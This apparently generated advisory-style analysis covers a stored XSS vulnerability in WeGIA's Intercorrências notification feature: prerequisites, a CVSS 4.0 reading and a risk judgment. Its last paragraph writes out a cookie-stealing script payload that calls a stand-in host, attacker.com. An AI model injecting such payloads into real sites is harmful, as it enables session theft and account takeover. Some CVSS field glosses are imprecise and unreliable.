Wegia CVE-2026-40282

The vulnerability requires an authenticated user account with permission to create or edit entries in the Intercorrências notification feature. The injected malicious JavaScript must be stored in the notification database through the normal content creation interface without proper input validation. Execution occurs when any user (authenticated or potentially unauthenticated, depending on application design) views the notification page containing the payload. The vulnerability is not dependent on any non-default configuration - it affects standard deployments of WeGIA versions prior to 3.6.10 where the Intercorrências feature is enabled and accessible. The limiting factor is the requirement for an authenticated attacker to inject the payload initially; however, once injected, the payload executes against all subsequent viewers without additional attacker interaction.

The CVSS 4.0 vector shows AV:N (network-accessible), AC:L (low attack complexity), and PR:N (no authentication required per the vector), but the description explicitly states the injected payload requires an authenticated user to create it. This apparent discrepancy suggests the CVSS vector may not accurately represent the actual authentication requirement - the vulnerability requires PR:L (low privilege authentication) to inject, not PR:N. The high Scope (SC:H) indicates scope changes between attacker and impact targets. The UI:A (user interaction required) field indicates that viewing the compromised notification page triggers execution, which is typical for stored XSS. The SI:H (session integrity impact) and VI:L (vulnerability integrity impact) reflect the session hijacking and account takeover consequences. Real-world risk is moderate but not critical: exploitation requires an authenticated attacker to initially inject the payload, but the payload affects all subsequent users who view that notification. No KEV (Known Exploited Vulnerability) status is provided, and no public exploit code is referenced, suggesting this is not actively exploited in the wild at the time of analysis. Organizations with tight access controls limiting who can create notifications will face lower risk than those allowing widespread user-generated content.

An authenticated user with access to create or edit Intercorrências notifications injects a JavaScript payload containing code to exfiltrate session cookies: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>. When an administrator or another user subsequently views the Intercorrências notification page, the malicious script executes in their browser, sending their session cookie to the attacker. The attacker then uses the stolen session token to impersonate the victim and gain unauthorized access to their account.